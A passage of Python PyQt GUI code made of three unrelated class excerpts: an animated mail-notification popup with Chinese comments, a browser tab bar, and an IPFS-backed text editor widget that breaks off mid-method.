self.horizontalLayout_2.setSpacing(10) self.horizontalLayout_2.setObjectName("horizontalLayout_2") # 邮件图标(正常邮件,垃圾邮件,星标邮件) self.mailPicLabel = QtWidgets.QLabel(self) self.mailPicLabel.setMinimumSize(100, 100) self.mailPicLabel.setMaximumSize(100, 100) # 普通邮件图标 self.normalPic = QtGui.QPixmap("./pic/normalMail.png") # 垃圾邮件图标 self.junkPic = QtGui.QPixmap("./pic/junkMail.png") # 星标邮件图标 self.starPic = QtGui.QPixmap("./pic/starMail.png") # 默认邮件图标 self.defaultPic = QtGui.QPixmap("./pic/defaultMail.png") # 让图片自适应label大小 self.mailPicLabel.setScaledContents(True) self.mailPicLabel.setObjectName("mailPicLabel") self.horizontalLayout_2.addWidget(self.mailPicLabel) self.mailInfoWidget = QtWidgets.QWidget(self) # 添加装载邮件信息的布局 self.mailInfoLayout = QtWidgets.QVBoxLayout(self.mailInfoWidget) # 设置布局内预留的空白边框宽度 self.mailInfoLayout.setContentsMargins(0, 0, 0, 0) # 设置布局内各个空间横向和纵向的间距6px self.mailInfoLayout.setSpacing(6) self.mailInfoLayout.setObjectName("mailInfoLayout") # 主题标签 self.subject = QtWidgets.QLabel(self) self.subject.setText("") # 自动换行 self.subject.setWordWrap(True) self.subject.setObjectName("subject") self.mailInfoLayout.addWidget(self.subject) # 发件人标签 self.sender = QtWidgets.QLabel(self) self.sender.setText("") # 自动换行 self.sender.setWordWrap(True) self.sender.setObjectName("sender") self.mailInfoLayout.addWidget(self.sender) # 邮件内容标签 self.body = QtWidgets.QLabel(self) self.body.setText("") self.body.setObjectName("body") self.mailInfoLayout.addWidget(self.body) self.horizontalLayout_2.addWidget(self.mailInfoWidget) self.verticalLayout.addWidget(self.mailInfo) self.verticalLayout.setObjectName("verticalLayout") # 底部的widget self.widgetBottom = QtWidgets.QWidget(self) self.widgetBottom.setObjectName("widgetBottom") # 底部竖着的布局 self.horizontalLayout = QtWidgets.QHBoxLayout(self.widgetBottom) # 设置布局内预留的空白边框宽度 self.horizontalLayout.setContentsMargins(0, 5, 5, 5) # 设置布局内各个空间横向和纵向的间距0px self.horizontalLayout.setSpacing(0) self.horizontalLayout.setObjectName("horizontalLayout") # 添加空白区宽170px、高20px,宽度尽可能扩大,高度尽可能缩小 spacerItem1 = QtWidgets.QSpacerItem(170, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem1) # 查看按钮 self.buttonView = QtWidgets.QPushButton(self.widgetBottom) self.buttonView.setText("查看") self.buttonView.setObjectName("buttonView") self.buttonView.setMinimumSize(QtCore.QSize(80, 30)) # 设置光标(手指) self.buttonView.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) self.buttonView.setObjectName("buttonView") self.horizontalLayout.addWidget(self.buttonView) self.verticalLayout.addWidget(self.widgetBottom) # 两个空间1:1 self.verticalLayout.setStretch(1, 1) # 信号:点击关闭按钮 槽函数:以动画形式关闭窗口 self.buttonClose.clicked.connect(self.onclose) # 鼠标是否在窗口的标志 self.mouseIsInWidget = False # 是否在显示标志 self.isShow = True # 超时标志 self.isTimeOut = False # 页面停留时间是5s(ok) self.timeout = 5000 # 计时器, 计时开始后每1秒进入一次关闭动画的函数 # 2019/9/6 14:48 debug 计时器乱套 # 将self.timer = QTimer(self) 改为 self.timer = QTimer(self, timeout=self.closeAnimation) self.timer = QTimer(self, timeout=self.closeAnimation) # 获取桌面 self.deskTop = QApplication.instance().desktop() # 获取窗口开始位置 self.startPos = QPoint( self.deskTop.screenGeometry().width() - self.width() - 5, self.deskTop.screenGeometry().height()) # 获取窗口弹出结束位置 self.endPos = QPoint( self.deskTop.screenGeometry().width() - self.width() - 5, self.deskTop.availableGeometry().height() - self.height() - 5) # 初始化位置到右下角 self.move(self.startPos) # 添加动画(b'pos'是弹出, b'windowOpacity'是渐隐) self.animation = QPropertyAnimation(self, b'pos') # 动画结束的信号连接关闭并清理窗口的槽函数 self.animation.finished.connect(self.animationEnd) # 设置动画持续时间1s self.animation.setDuration(1000) # 槽函数,点击关闭按钮后0.1s启动弹回动画 def onclose(self): self.isShow = False QTimer.singleShot(100, self.closeAnimation) # 重写show()函数,参数分别是邮件类型、主题、发件人、信体 (type: 正常邮件,垃圾邮件,星标邮件) def show(self, type, subject, sender, body): # 停止计时器,防止第二个弹窗弹出时之前的定时器出现问题 self.timer.stop() # 先隐藏 self.hide() # 初始化位置到右下角 self.move(self.startPos) # 调用父类方法 super(PopupWin, self).show() # 根据邮件种类切换图标 if type == "正常邮件": self.mailPicLabel.setPixmap(self.normalPic) elif type == "垃圾邮件": self.mailPicLabel.setPixmap(self.junkPic) elif type == "星标邮件": self.mailPicLabel.setPixmap(self.starPic) else: self.mailPicLabel.setPixmap(self.defaultPic) # 设置邮件主题、发件人、信体(控制长度) self.subject.setText(subject) self.sender.setText(sender) try: bodyLen = len(body) if bodyLen > 40: # 只读取前50个字符, 每20个字符添加一个\n bodyStr = body[0:20] + '\n' + body[20:40] + '...' elif bodyLen > 20 and bodyLen <= 40: bodyStr = body[0:20] + '\n' + body[20:bodyLen] + '...' else: bodyStr = body self.body.setText(bodyStr) except Exception as e: traceback.print_exc() return self # 弹窗从桌面右下角弹出的动画 def showAnimation(self): # 显示动画 self.isShow = True # 先停止之前的动画,重新开始 self.animation.stop() # 2019/9/6 14:44 debug 设置动画起始和停止的位置 self.animation.setStartValue(self.pos()) self.animation.setEndValue(self.endPos) # 开始动画 self.animation.start() # 弹出5秒后,如果没有焦点则弹回去 self.timer.start(self.timeout) # 弹窗弹回桌面右下角的动画 def closeAnimation(self): # 计时器开始 self.timer.start() # 关闭动画 # 如果鼠标点击了closeButton并停留其上,则执行下面的操作 if self.isShow: if self.mouseIsInWidget: # 如果弹出后倒计时5秒后鼠标还在窗体里,则鼠标移开后后需要主动触发关闭 self.isTimeOut = True return # 计时器停止 self.timer.stop() # 不再show self.isShow = False self.animation.stop() # 设置动画起始和停止的位置 # 2019/9/6 14:43 debug, 起始位置有偏差 # 将setStartValue(self.endPos())换为setStartValue(self.pos()) self.animation.setStartValue(self.pos()) self.animation.setEndValue(self.startPos) self.animation.start() # 动画结束, 关闭当前窗口并清理 self.animation.finished.connect(self.animationEnd) # 动画结束,关闭窗口并清理 def animationEnd(self): # 动画结束,关闭窗口并清理 if not self.isShow: # 关闭窗口 self.close() # 停止计时器 self.timer.stop() # 重写鼠标进入窗口事件,变量mouseIsInWidget为True def enterEvent(self, event): super().enterEvent(event) self.mouseIsInWidget = True # 重写鼠标离开窗口事件,变量mouseIsInWidget为False def leaveEvent(self, event): super().leaveEvent(event) self.mouseIsInWidget = False
class TabBar(QTabBar): """Custom tab bar with our own style. FIXME: Dragging tabs doesn't look as nice as it does in QTabBar. However, fixing this would be a lot of effort, so we'll postpone it until we're reimplementing drag&drop for other reasons. https://github.com/The-Compiler/qutebrowser/issues/126 Attributes: vertical: When the tab bar is currently vertical. win_id: The window ID this TabBar belongs to. """ def __init__(self, win_id, parent=None): super().__init__(parent) self._win_id = win_id self.setStyle(TabBarStyle(self.style())) self.set_font() config_obj = objreg.get('config') config_obj.changed.connect(self.set_font) self.vertical = False self._auto_hide_timer = QTimer() self._auto_hide_timer.setSingleShot(True) self._auto_hide_timer.setInterval( config.get('tabs', 'show-switching-delay')) self._auto_hide_timer.timeout.connect(self._tabhide) self.setAutoFillBackground(True) self.set_colors() config_obj.changed.connect(self.set_colors) QTimer.singleShot(0, self._tabhide) config_obj.changed.connect(self.on_tab_colors_changed) config_obj.changed.connect(self.on_show_switching_delay_changed) config_obj.changed.connect(self.tabs_show) def __repr__(self): return utils.get_repr(self, count=self.count()) @config.change_filter('tabs', 'show') def tabs_show(self): """Hide or show tab bar if needed when tabs->show got changed.""" self._tabhide() @config.change_filter('tabs', 'show-switching-delay') def on_show_switching_delay_changed(self): """Set timer interval when tabs->show-switching-delay got changed.""" self._auto_hide_timer.setInterval( config.get('tabs', 'show-switching-delay')) def on_change(self): """Show tab bar when current tab got changed.""" show = config.get('tabs', 'show') if show == 'switching': self.show() self._auto_hide_timer.start() def _tabhide(self): """Hide the tab bar if needed.""" show = config.get('tabs', 'show') show_never = show == 'never' switching = show == 'switching' multiple = show == 'multiple' if show_never or (multiple and self.count() == 1) or switching: self.hide() else: self.show() def set_tab_data(self, idx, key, value): """Set tab data as a dictionary.""" if not 0 <= idx < self.count(): raise IndexError("Tab index ({}) out of range ({})!".format( idx, self.count())) data = self.tabData(idx) if data is None: data = {} data[key] = value self.setTabData(idx, data) def tab_data(self, idx, key): """Get tab data for a given key.""" if not 0 <= idx < self.count(): raise IndexError("Tab index ({}) out of range ({})!".format( idx, self.count())) data = self.tabData(idx) if data is None: data = {} return data[key] def page_title(self, idx): """Get the tab title user data. Args: idx: The tab index to get the title for. handle_unset: Whether to return an empty string on KeyError. """ try: return self.tab_data(idx, 'page-title') except KeyError: return '' def refresh(self): """Properly repaint the tab bar and relayout tabs.""" # This is a horrible hack, but we need to do this so the underlying Qt # code sets layoutDirty so it actually relayouts the tabs. self.setIconSize(self.iconSize()) @config.change_filter('fonts', 'tabbar') def set_font(self): """Set the tab bar font.""" self.setFont(config.get('fonts', 'tabbar')) size = self.fontMetrics().height() - 2 self.setIconSize(QSize(size, size)) @config.change_filter('colors', 'tabs.bg.bar') def set_colors(self): """Set the tab bar colors.""" p = self.palette() p.setColor(QPalette.Window, config.get('colors', 'tabs.bg.bar')) self.setPalette(p) @pyqtSlot(str, str) def on_tab_colors_changed(self, section, option): """Set the tab colors.""" if section == 'colors' and option.startswith('tabs.'): self.update() def mousePressEvent(self, e): """Override mousePressEvent to close tabs if configured.""" button = config.get('tabs', 'close-mouse-button') if (e.button() == Qt.RightButton and button == 'right' or e.button() == Qt.MiddleButton and button == 'middle'): idx = self.tabAt(e.pos()) if idx != -1: e.accept() self.tabCloseRequested.emit(idx) return super().mousePressEvent(e) def minimumTabSizeHint(self, index): """Set the minimum tab size to indicator/icon/... text. Args: index: The index of the tab to get a size hint for. Return: A QSize. """ icon = self.tabIcon(index) padding = config.get('tabs', 'padding') padding_h = padding.left + padding.right padding_v = padding.top + padding.bottom if icon.isNull(): icon_size = QSize(0, 0) else: extent = self.style().pixelMetric(QStyle.PM_TabBarIconSize, None, self) icon_size = icon.actualSize(QSize(extent, extent)) padding_h += self.style().pixelMetric( PixelMetrics.icon_padding, None, self) indicator_width = config.get('tabs', 'indicator-width') height = self.fontMetrics().height() + padding_v width = (self.fontMetrics().width('\u2026') + icon_size.width() + padding_h + indicator_width) return QSize(width, height) def tabSizeHint(self, index): """Override tabSizeHint so all tabs are the same size. https://wiki.python.org/moin/PyQt/Customising%20tab%20bars Args: index: The index of the tab. Return: A QSize. """ minimum_size = self.minimumTabSizeHint(index) height = minimum_size.height() if self.vertical: confwidth = str(config.get('tabs', 'width')) if confwidth.endswith('%'): main_window = objreg.get('main-window', scope='window', window=self._win_id) perc = int(confwidth.rstrip('%')) width = main_window.width() * perc / 100 else: width = int(confwidth) size = QSize(max(minimum_size.width(), width), height) elif self.count() == 0: # This happens on startup on OS X. # We return it directly rather than setting `size' because we don't # want to ensure it's valid in this special case. return QSize() elif self.count() * minimum_size.width() > self.width(): # If we don't have enough space, we return the minimum size so we # get scroll buttons as soon as needed. size = minimum_size else: # If we *do* have enough space, tabs should occupy the whole window # width. width = self.width() / self.count() # If width is not divisible by count, add a pixel to some tabs so # that there is no ugly leftover space. if index < self.width() % self.count(): width += 1 size = QSize(width, height) qtutils.ensure_valid(size) return size def paintEvent(self, _e): """Override paintEvent to draw the tabs like we want to.""" # pylint: disable=bad-config-call # WORKAROUND for https://bitbucket.org/logilab/astroid/issue/104 p = QStylePainter(self) selected = self.currentIndex() for idx in range(self.count()): tab = QStyleOptionTab() self.initStyleOption(tab, idx) bg_parts = ['tabs', 'bg'] fg_parts = ['tabs', 'fg'] if idx == selected: bg_parts.append('selected') fg_parts.append('selected') if idx % 2: bg_parts.append('odd') fg_parts.append('odd') else: bg_parts.append('even') fg_parts.append('even') bg_color = config.get('colors', '.'.join(bg_parts)) fg_color = config.get('colors', '.'.join(fg_parts)) tab.palette.setColor(QPalette.Window, bg_color) tab.palette.setColor(QPalette.WindowText, fg_color) try: indicator_color = self.tab_data(idx, 'indicator-color') except KeyError: indicator_color = QColor() tab.palette.setColor(QPalette.Base, indicator_color) if tab.rect.right() < 0 or tab.rect.left() > self.width(): # Don't bother drawing a tab if the entire tab is outside of # the visible tab bar. continue p.drawControl(QStyle.CE_TabBarTab, tab) def tabInserted(self, idx): """Update visibility when a tab was inserted.""" super().tabInserted(idx) self._tabhide() def tabRemoved(self, idx): """Update visibility when a tab was removed.""" super().tabRemoved(idx) self._tabhide() def wheelEvent(self, e): """Override wheelEvent to make the action configurable. Args: e: The QWheelEvent """ if config.get('tabs', 'mousewheel-tab-switching'): super().wheelEvent(e) else: tabbed_browser = objreg.get('tabbed-browser', scope='window', window=self._win_id) tabbed_browser.wheelEvent(e)
class TextEditorWidget(QWidget): """ Simple Editor widget that stores the edited files in a unixfs node """ rootMultihashChanged = pyqtSignal(str) documentChanged = pyqtSignal(Document) documentNameChanged = pyqtSignal(Document, str) filenameEntered = pyqtSignal(str) def __init__(self, offline=False, editing=False, sessionDagCid=None, pyramidOrigin=None, pyramidAutoPush=False, parent=None): super(TextEditorWidget, self).__init__(parent) self.app = QApplication.instance() self.setLayout(QVBoxLayout(self)) self.textEditor = Editor(self) self.checkoutPath = None self.pyramidOrigin = pyramidOrigin self.pyramidAutoPush = pyramidAutoPush self.busyCube = AnimatedLabel( RotatingCubeRedFlash140d(speed=100), parent=self ) self.busyCube.clip.setScaledSize(QSize(24, 24)) self.busyCube.startClip() self.busyCube.hide() self._previewTimer = QTimer(self) self._previewTimer.timeout.connect(self.onPreviewRerender) self._editing = editing self._currentDocument = None self._localCheckoutChanged = False self._unixDir = None self.model = QFileSystemModel() self.filesView = CheckoutTreeView(self) self.filesView.setModel(self.model) self.filesView.doubleClick.connect(self.onFsViewItemDoubleClicked) self.filesView.itemRightClick.connect(self.onFsViewRightClicked) self.model.setFilter( QDir.Files | QDir.AllDirs | QDir.NoDot | QDir.NoDotDot ) self.model.setRootPath(self.checkoutPath) self.filesView.setVisible(False) self.filesView.hideColumn(1) self.filesView.hideColumn(2) self.filesView.hideColumn(3) self.setObjectName('textEditor') self.inPreview = False self.offline = offline self.editHistory = EditHistory(parent=self) self.editHistory.hide() self.copiesLayout = self.editHistory.fLayout self.ctrlLayout = QHBoxLayout() self.editorViewButton = CheckableToolButton( icon=qta.icon('fa.edit'), toggled=self.onEditorViewToggled, parent=self ) self.editorViewButton.setToolTip(iEditorView()) self.offlineModeButton = CheckableToolButton( icon=getIcon('offline.png') ) self.offlineModeButton.setChecked(offline) self.offlineModeButton.setEnabled(False) self.offlineModeButton.setVisible(False) self.offlineModeButton.setToolTip(iOfflineMode()) self.autoMdHtmlSaveButton = CheckableToolButton( icon=qta.icon('fa5b.markdown') ) self.autoMdHtmlSaveButton.setToolTip(iAutoMarkdownToHtmlSave()) self.autoMdHtmlSaveButton.hide() self.previewButton = CheckableToolButton( icon=getIcon('document-preview.png'), toggled=self.onPreviewToggled, parent=self ) self.previewButton.setToolTip(iPreview()) self.editorViewButton.setChecked(True) self.fsViewButton = CheckableToolButton( icon=getIcon('folder-open.png'), toggled=self.onFsViewToggled, parent=self ) self.fsViewButton.setEnabled(True) self.fsViewButton.setChecked(False) self.fsViewButton.setToolTip(iFilesystemView()) self.editButton = CheckableToolButton( toggled=self.onEditToggled, parent=self ) self.saveButton = QToolButton(self) self.saveButton.setIcon(getIcon('save-file.png')) self.saveButton.clicked.connect(self.onSave) self.saveButton.setToolTip(iSave()) self.saveButton.setEnabled(False) self.saveButton.setShortcut(QKeySequence('Ctrl+s')) self.strokeIcon = getIcon('stroke-cube.png') self.editButton.setText(iEdit()) self.unixDirCid = None self.unixDirPath = None self.unixDirDescrLabel = QLabel('Current session:') self.unixDirLabel = IPFSUrlLabel( None, invalidPathLabel='No session yet') self.unixDirClipButton = IPFSPathClipboardButton(None, parent=self) self.nameInputLabel = QLabel('File name') self.nameInputLine = QLineEdit('', self) self.nameInputLine.setMaximumWidth(160) self.nameInputValidate = QPushButton('OK') self.nameInputValidate.setMaximumWidth(40) self.nameInputValidate.clicked.connect(self.onNameInput) self.nameInputLine.returnPressed.connect(self.onNameInput) self.filenameEntered.connect(self.onFilenameEntered) self.ctrlLayout.addWidget(self.busyCube) self.ctrlLayout.addWidget(self.editButton) self.ctrlLayout.addItem( QSpacerItem(10, 10, QSizePolicy.Minimum, QSizePolicy.Minimum)) self.ctrlLayout.addWidget(self.editorViewButton) self.ctrlLayout.addWidget(self.previewButton) self.ctrlLayout.addWidget(self.fsViewButton) self.ctrlLayout.addWidget(self.offlineModeButton) self.ctrlLayout.addWidget(self.autoMdHtmlSaveButton) self.ctrlLayout.addWidget(self.saveButton) self.ctrlLayout.addWidget(self.nameInputLabel) self.ctrlLayout.addWidget(self.nameInputLine) self.ctrlLayout.addWidget(self.nameInputValidate) self.showNameInput(False) self.ctrlLayout.addItem( QSpacerItem(10, 10, QSizePolicy.Expanding, QSizePolicy.Minimum)) self.ctrlLayout.addWidget(self.unixDirDescrLabel) self.ctrlLayout.addWidget(self.unixDirLabel) self.ctrlLayout.addWidget(self.unixDirClipButton) self.textVLayout = QVBoxLayout() self.textHLayout = QHBoxLayout() self.textVLayout.addLayout(self.textHLayout) self.previewWidget = PreviewWidget(parent=self) self.previewWidget.hide() self.currentDocument = self.newDocument() self.textHLayout.addWidget(self.filesView) self.textHLayout.addWidget(self.textEditor) self.textHLayout.addWidget(self.previewWidget) optionsLayout = QHBoxLayout() self.tabReplaceButton = QCheckBox('Replace tabs', self) self.tabReplaceButton.stateChanged.connect(self.onTabReplaceToggled) self.tabReplaceButton.setEnabled(False) optionsLayout.addWidget(self.tabReplaceButton) self.textVLayout.addLayout(optionsLayout) self.layout().addLayout(self.ctrlLayout) self.layout().addWidget(self.editHistory) self.layout().addLayout(self.textVLayout) self.editing = editing self.rootMultihashChanged.connect(self.onSessionCidChanged) self.filesView.setMinimumWidth(self.width() / 4) self.textEditor.setSizePolicy( QSizePolicy.Expanding, QSizePolicy.Expanding) self.filesView.setSizePolicy( QSizePolicy.Minimum, QSizePolicy.Expanding) @property def unixDirCid(self): return self._unixDirCid @property def unixDir(self): return self._unixDir @unixDirCid.setter def unixDirCid(self, cid): self._unixDirCid = cid @property def editing(self): return self._editing @editing.setter def editing(self, editing): if not isinstance(editing, bool): return self._editing = editing self.textEditor.setReadOnly(not self.editing) self.editButton.setChecked(self.editing) self.tabReplaceButton.setEnabled(self.editing) self.applyStylesheet() if self.editing is True and self.checkoutPath is None: self.sessionNew() @property def localCheckoutChanged(self): return self._localCheckoutChanged @localCheckoutChanged.setter def localCheckoutChanged(self, val): self._localCheckoutChanged = val self.saveButton.setEnabled(val) @property def currentDocument(self): return self._currentDocument @currentDocument.setter def currentDocument(self, doc): self._currentDocument = doc self.textEditor.setDocument(self.currentDocument) self.applyOptionsForDocument() self.documentChanged.emit(self.currentDocument) self.currentDocument.setModified(False) self.currentDocument.modified.connect( functools.partial(self.saveButton.setEnabled, True)) self.currentDocument.contentsChanged.connect(self.onDocumentChanged) self.applyStylesheet() def applyOptionsForDocument(self): if self.currentDocument.filename: if self.currentDocument.filename.endswith('.py'): self.highlighter = PythonSyntaxHighlighter( self.currentDocument) self.tabReplaceButton.setChecked(True) if filenameIsMarkdown(self.currentDocument.filename): self.previewButton.setChecked(True) self.autoMdHtmlSaveButton.show() if filenameIsHtml(self.currentDocument.filename): self.previewButton.setChecked(True) else: self.highlighter = None def cleanup(self): if os.path.isdir(self.checkoutPath): log.debug('Cleaning up checkout directory: {}'.format( self.checkoutPath)) shutil.rmtree(self.checkoutPath) def busy(self, busy=True): self.busyCube.setVisible(busy) self.setEnabled(not busy) if busy: self.busyCube.startClip() else: self.busyCube.stopClip() def onFsViewRightClicked(self, idx, event, fInfo): pos = event.globalPos() fullPath = fInfo.absoluteFilePath() _path = Path(fullPath) menu = QMenu(self) if not _path.exists() or _path.is_dir(): menu.addAction( self.strokeIcon, iAddNewFile(), functools.partial( self.fsAddFile, fullPath)) menu.addSeparator() menu.addAction( self.strokeIcon, iAddNewDir(), functools.partial( self.fsAddDirectory, fullPath)) menu.addSeparator() menu.addAction( self.strokeIcon, iImportFile(), functools.partial( self.fsImportFile, fullPath)) menu.addSeparator() menu.addAction( self.strokeIcon, iImportDir(), functools.partial( self.fsImportDirectory, fullPath)) menu.addSeparator() menu.addAction( getIcon('clear-all.png'), 'Delete', partialEnsure(self.fsDelete, fullPath) ) menu.exec_(pos) async def fsDelete(self, path): if path and await questionBoxAsync(iRemove(), iRemoveFileAsk()): await self._fsDelete(path) def fsAddFile(self, root): if not root: rootDir = Path(self.checkoutPath) else: rootDir = Path(root) if not rootDir.is_dir(): return name = self.nameInput() if name: filepath = rootDir.joinpath(name) if filepath.exists(): return messageBox('Already exists') filepath.touch() self.localCheckoutChanged = True self.sessionViewUpdate() def fsImportFile(self, root): if not root: rootDir = Path(self.checkoutPath) else: rootDir = Path(root) filepath = fileSelect() if filepath: ensure(self._fsImportFile(filepath, str(rootDir))) async def _fsDelete(self, filepath): self.busy() try: if os.path.isdir(filepath): await self.app.loop.run_in_executor( self.app.executor, shutil.rmtree, filepath ) elif os.path.isfile(filepath): os.unlink(filepath) except Exception: pass self.localCheckoutChanged = True self.busy(False) async def _fsImportFile(self, filepath, rootDir): self.busy() try: await self.app.loop.run_in_executor( self.app.executor, shutil.copy, filepath, rootDir ) except Exception: messageBox(iImportError()) self.localCheckoutChanged = True self.busy(False) async def _fsImportDirectory(self, dirpath, dstDir): self.busy() try: await self.app.loop.run_in_executor( self.app.executor, shutil.copytree, dirpath, dstDir ) except Exception: messageBox(iImportError()) self.localCheckoutChanged = True self.busy(False) def fsImportDirectory(self, root): if not root: rootDir = Path(self.checkoutPath) else: rootDir = Path(root) dirpath = directorySelect() if dirpath: dstPath = rootDir.joinpath(os.path.basename(dirpath)) ensure(self._fsImportDirectory(dirpath, str(dstPath))) def fsAddDirectory(self, root): if not root: rootDir = Path(self.checkoutPath) else: rootDir = Path(root) if not rootDir.is_dir(): return name = self.nameInput('Directory name') if name: dirpath = rootDir.joinpath(name) if dirpath.exists(): return messageBox('Already exists') dirpath.mkdir() self.localCheckoutChanged = True self.sessionViewUpdate() def onFsViewItemDoubleClicked(self, idx, fInfo): fullPath = fInfo.absoluteFilePath() if not self.checkoutPath: return if not os.path.isfile(fullPath): return filepath = re.sub(self.checkoutPath, '', fullPath).lstrip('/') ensure(self.openFileFromCheckout(filepath)) def onDocumentChanged(self): if self.previewWidget.isVisible(): self._previewTimer.stop() self._previewTimer.start(1200) def onEditorViewToggled(self, toggle): if self.previewButton.isChecked(): self.textEditor.setVisible(toggle) else: self.editorViewButton.setChecked(True) def onPreviewRerender(self): ensure(self.updatePreview()) self._previewTimer.stop() def showNameInput(self, view=True): self.nameInputLabel.setVisible(view) self.nameInputLine.setVisible(view) self.nameInputValidate.setVisible(view) if view is False: self.nameInputLine.clear() if view is True: self.nameInputLine.setFocus(Qt.OtherFocusReason) def onTabReplaceToggled(self, state): self.textEditor.tabReplace = state def onNameInput(self): filename = self.nameInputLine.text() if len(filename) > 0: self.filenameEntered.emit(filename) def onFilenameEntered(self, filename): if self.currentDocument: self.currentDocument.filename = filename self.currentDocument.filenameChanged.emit(filename) self.documentNameChanged.emit(self.currentDocument, filename) self.showNameInput(False) ensure(self.saveDocument(self.currentDocument)) def onDocnameChanged(self, doc, name): if doc == self.currentDocument: self.setTabName(name, widget=self) def applyStylesheet(self): if self.editing is True: self.textEditor.setStyleSheet(''' QPlainTextEdit { background-color: #D2DBD6; color: #242424; padding: 5px; font: 14pt "Courier"; font-weight: bold; } ''') self.textEditor.connectSignals() else: self.textEditor.highlightCurrentLine() self.textEditor.setStyleSheet(defaultStyleSheet) def display(self, ipfsPath): if not isinstance(ipfsPath, IPFSPath) or not ipfsPath.valid: return ensure(self.showFromPath(ipfsPath)) def genUid(self): return str(uuid.uuid4()) def newDocument(self, name=None, text='', encoding='utf-8', textLayout=True): self.textEditor.setStyleSheet(defaultStyleSheet) doc = Document(name=name, text=text, parent=self, encoding=encoding, textLayout=textLayout) doc._previewDocument = Document(parent=doc, textLayout=False) return doc async def updatePreview(self): textData = self.currentDocument.toPlainText() pDocument = self.currentDocument.previewDocument try: mimeType = await detectMimeTypeFromBuffer(textData.encode()) except: pass if self.currentDocument.filename: await self.writeDocument(self.currentDocument) if mimeType and mimeType.isHtml: if self.currentDocument.filename: url = self.checkoutChildFileUrl(self.currentDocument.filename) self.previewWidget.setUrl(url) else: self.previewWidget.setHtml(textData) else: try: html = markitdown(textData) pDocument.setHtml(html) self.previewWidget.setHtml(html) except Exception: pDocument.setPlainText(textData) def showPreview(self): self.previewWidget.show() ensure(self.updatePreview()) def showText(self, textData, preview=False): if preview: text = textData newDocument = self.newDocument(text=textData) try: html = markitdown(text) newDocument.setHtml(html) except Exception: newDocument.setPlainText(text) self.textEditor.setReadOnly(True) return newDocument else: doc = self.newDocument(text=textData) self.textEditor.setReadOnly(not self.editing) return doc def onFsViewToggled(self, checked): self.toggleFsView(checked) def toggleFsView(self, view): if self.filesView: self.filesView.setVisible(view) def onSave(self): if self.currentDocument.changed: if self.currentDocument.filename is None: self.showNameInput(True) else: ensure(self.saveDocument(self.currentDocument)) else: ensure(self.syncSession()) def nameInput(self, label='File name'): name = inputText(label=label) if name and len(name) in range(1, 256): return name async def checkChanges(self): if self.currentDocument and self.currentDocument.changed is True: return await questionBoxAsync( 'Unsaved changes', 'The current document was not saved, continue ?') return True def onEditToggled(self, checked): self.editing = checked def onPreviewToggled(self, checked): self.inPreview = checked if checked: self.showPreview() else: if self.editorViewButton.isChecked(): self.previewWidget.setVisible(checked) else: self.previewButton.setChecked(True) def onSessionCidChanged(self, cid): log.debug('Session now at CID: {}'.format(cid)) self.unixDirCid = cid self.unixDirPath = IPFSPath(cid) self.unixDirLabel.path = self.unixDirPath self.unixDirClipButton.path = self.unixDirPath def sessionViewUpdate(self, root=None): path = root if root else self.checkoutPath self.model.setRootPath(path) self.filesView.setRootIndex(self.model.index(path)) def sessionNew(self): localDirName = self.genUid() localPath = os.path.join( self.app.tempDir.path(), localDirName) if not os.path.exists(localPath): try: os.mkdir(localPath) except: pass ensure(self.sync()) self.sessionViewUpdate(localPath) self.checkoutPath = localPath return localPath def makeDatetime(self, date=None): datet = date if date else datetime.now() return isoformat(datet) @ipfsOp async def sync(self, ipfsop): self.busy(True) try: entry = await ipfsop.addPath( self.checkoutPath, wrap=False, hidden=True, offline=self.offlineModeButton.isChecked() ) except Exception as err: self.busy(False) log.debug(str(err)) else: self.localCheckoutChanged = False self.busy(False) if not entry: return self.rootMultihashChanged.emit(entry['Hash']) return entry def checkoutChildPath(self, path): if self.checkoutPath: return Path(os.path.join(self.checkoutPath, path)) def checkoutChildFileUrl(self, path): return QUrl('file://{0}'.format(self.checkoutChildPath(path))) async def writeDocument(self, document): docPath = self.checkoutChildPath(document.filename) text = document.toPlainText() async with aiofiles.open(docPath, 'w+t') as fd: log.debug('Writing document: {}'.format(docPath)) await fd.write(text) @ipfsOp async def onShowDiff(self, ipfsop, path, prevPath, changes, *extra): """ Show the object diff in a QTextBrowser TODO: refactor, at least .. """ dlg = QDialog() dlg.setWindowTitle(iObjectDiff()) layout = QVBoxLayout() dlg.setLayout(layout) dlg.setWindowFlag(Qt.WindowMinimizeButtonHint, True) dlg.setWindowFlag(Qt.WindowMaximizeButtonHint, True) dlg.setWindowFlag(Qt.WindowCloseButtonHint, True) dlg.setMinimumSize( (2 * self.app.desktopGeometry.width()) / 3, (2 * self.app.desktopGeometry.height()) / 3, ) dBrowser = QTextBrowser(dlg) layout.addWidget(dBrowser) async def getTextContent(cid): mType = await detectMimeType(cid, bufferSize=1024) if mType and mType.isText: return await ipfsop.catObject(cid) for change in changes: objPath = change.get('Path') before = change.get('Before') after = change.get('After') beforeCid = before.get('/') if before else None afterCid = after.get('/') if after else None if change['Type'] == 2 and beforeCid and afterCid: try: _bData = await getTextContent(beforeCid) _aData = await getTextContent(afterCid) if not _bData: dBrowser.insertHtml( '<p>Ignoring object {}</p>'.format(beforeCid)) continue if not _aData: dBrowser.insertHtml( '<p>Ignoring object {}</p>'.format(afterCid)) continue diff = difflib.HtmlDiff().make_file( _bData.decode().split('\n'), _aData.decode().split('\n'), fromdesc=objPath if objPath else '', todesc=objPath if objPath else '', context=True, numlines=10 ) dBrowser.insertHtml(diff) except Exception: continue elif change['Type'] == 0 and afterCid: try: _aData = await getTextContent(afterCid) if not _aData: dBrowser.insertHtml( '<p>Ignoring object {}</p>'.format(afterCid)) continue lines = _aData.decode().split('\n') diff = difflib.HtmlDiff().make_file( [], lines, fromdesc='', todesc=objPath if objPath else '', context=True, numlines=len(lines) ) dBrowser.insertHtml(diff) except Exception: continue elif change['Type'] == 1 and beforeCid: try: _bData = await getTextContent(beforeCid) if not _bData: dBrowser.insertHtml( '<p>Ignoring object {}</p>'.format(beforeCid)) continue lines = _bData.decode().split('\n') diff = difflib.HtmlDiff().make_file( lines, [], todesc='', fromdesc=objPath if objPath else '', context=True, numlines=len(lines) ) dBrowser.insertHtml(diff) except Exception: continue dBrowser.moveCursor(QTextCursor.Start) dlg.showMaximized() await threadExec(dlg.exec_) @ipfsOp async def saveDocument(self, ipfsop, document, offline=True): text = document.toPlainText() if not document.filename: return await self.writeDocument(self.currentDocument) self.applyOptionsForDocument() if document.previewDocument: if filenameIsMarkdown(document.filename): document.previewDocument.filename = \ 